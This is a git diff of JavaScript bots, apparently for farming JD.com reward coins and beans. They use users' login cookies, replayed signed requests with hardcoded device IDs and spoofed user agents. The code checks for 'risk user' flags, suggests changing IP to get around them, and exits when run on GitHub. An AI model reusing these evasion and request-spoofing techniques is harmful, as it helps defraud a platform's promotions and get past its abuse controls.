+ // await $.wait(5000); + // client.close(); + break + case "product_produce": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`生产成功`) + } else { + console.log(`生产信息获取失败,错误信息${vo.msg}`) + } + break + case "collect_coins": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`收取成功,获得${vo['data']['coins']}美妆币,当前总美妆币:${vo['data']['user_coins']}\n`) + } else { + console.log(`收取美妆币失败,错误信息${vo.msg}`) + } + break + case "product_producing": + if (vo.code === '200' || vo.code === 200) { + for (let product of vo.data) { + if (product.num === product.produce_num) { + client.send(`{"msg":{"type":"action","args":{"log_id":${product.id}},"action":"new_product_fetch"}}`) + await $.wait(5000); + } else { + console.log(`产品【${product.product.id}】未生产完成,无法收取`) + } + } + } else { + console.log(`生产商品信息获取失败,错误信息${vo.msg}`) + } + break + case "new_product_fetch": + if (vo.code === '200' || vo.code === 200) { + console.log(`收取产品【${vo.data.product.name}】${vo.data.num}份`) + } else { + console.log(`收取产品失败,错误信息${vo.msg}`) + } + break + // case "get_task": + // console.log(`当前任务【${vo.data.describe}】,需要【${vo.data.product.name}】${vo.data.package_stock}/${vo.data.num}份`) + // if (vo.data.package_stock >= vo.data.num) { + // console.log(`满足任务要求,去完成任务`) + // client.send(`{"msg":{"type":"action","args":{"task_id":${vo.data.id}},"action":"complete_task"}}`) + // } + // break + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + //console.log(`benefit:${JSON.stringify(benefit)}`); + if(benefit.description === "1 京豆" && parseInt(benefit.day_exchange_count) < 10 && $.total > benefit.coins){ + $timenum = parseInt($.total / benefit.coins); + if ($timenum > 10) $timenum = 10; + console.log(`\n可兑换${$timenum}次京豆:`) + for (let i = 0; i < $timenum; i++){ + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`); + await $.wait(5000) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + await $.wait(5000); + } + } + // console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + // if (parseInt(benefit.setting.beans_count) === bean && //兑换多少豆 bean500就500豆 + // $.total > benefit.coins && + // parseInt(benefit.day_exchange_count) < benefit.day_limit) { + // console.log(`满足条件,去兑换`) + // client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + // await $.wait(10000) + // } + } + } + break + case "to_exchange": + if(oc(() => vo.data.coins)){ + console.log(`兑换${vo.data.coins/-1000}京豆成功`) + }else{ + console.log(`兑换京豆失败`) + } + break + case "get_produce_material": + $.material = vo.data + break + case "to_employee": + console.log(`雇佣助力码【${oc(() => vo.data.token)}】`) + if(oc(() => vo.data.token)){ + $.tokens.push(vo.data.token) + }else{ + console.log(`not exist:${oc(() => vo.data)}`) + } + break + case "employee": + console.log(`${vo.msg}`) + break + } + } + }; +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: 'body=%7B%22to%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%5C/?channel%3Dmeizhuangguandibudaohang%26collectionId%3D96%26tttparams%3DYEyYQjMIeyJnTG5nIjoiMTE4Ljc2MjQyMSIsImdMYXQiOiIzMi4yNDE4ODIifQ8%253D%253D%26un_area%3D12_904_908_57903%26lng%3D118.7159742308471%26lat%3D32.2010317443041%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=b0aac3dd04b1c6d68cee3d425e27f480&st=1610161913667&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=6eb3237cff376c07a11c1e185761d073&st=1610161927336&sv=102&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': UA, + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({"token":$.token2,"source":"01"}), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'user-agent': UA, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.isvToken};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`$.token ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得美妆币${$.coins}枚\n当前美妆币${$.total}`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + 'user-agent': UA, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_beauty_ex.js b/jd_beauty_ex.js new file mode 100644 index 0000000..9d41c83 --- /dev/null +++ b/jd_beauty_ex.js @@ -0,0 +1,328 @@ +/* +美丽研究院--兑换 +活动入口:京东app首页-美妆馆-底部中间按钮 +cron 20 12 * * * jd_beauty_ex.js + */ +const $ = new Env('美丽研究院--兑换'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const WebSocket = require('ws'); +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.accountCheck = true; +$.init = false; +$.bean = '1'; //兑换多少豆,默认是500 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxx-xxxxxxxxxxxxxxxx'); + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await accountCheck(); + while (!$.hasDone) { + await $.wait(2000) + } + if ($.accountCheck) { + await jdBeauty(); + await $.wait(5000) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken2() + await getToken() + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + process.exit(0); + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + console.log('关闭测试连接'); + }; + await $.wait(2000); + } +} + +async function jdBeauty() { + $.hasDone = false + await mr() + while (!$.hasDone) { + await $.wait(2000) + } +} + +async function mr() { + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功,开始兑换拉`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + }; + client.onclose = (e) => { + $.hasDone = true; + console.log('关闭美容研究院服务器连接'); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + switch (vo.action) { + case "get_user": + $.total = vo.data.coins + break; + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + for (let i = benefit.day_exchange_count; i < benefit.day_limit; i++) { + if (parseInt(benefit.setting.beans_count) == $.bean && $.total >= benefit.coins && parseInt(benefit.day_exchange_count) < benefit.day_limit) { + console.log(`满足条件,去兑换`) + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + await $.wait(4000) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + } + + } + } + } + break; + case "to_exchange": + if (vo.data) { + console.log(`兑换${vo.data.coins / -1000}京豆成功;${JSON.stringify(vo)}`) + } else { + console.log(`兑换京豆失败:${JSON.stringify(vo)}`) + } + break; + } + } + }; +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=6eb3237cff376c07a11c1e185761d073&st=1610161927336&sv=102&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({ "token": $.token2, "source": "01" }), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.token2};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`【$.token】 ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/GetJDUserBaseInfo?_=${Date.now()}&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "m.jingxi.com", + "Cookie": cookie, + "Referer": "https://st.jingxi.com/my/userinfo.html?sceneval=2&ptag=7205.12.4", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "deviceOS": "android", + "deviceOSVersion": 10, + "deviceName": "WeiXin" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + console.log("1"); + return; + } + if (data["retcode"] === 0) { + $.nickName = (data.nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) 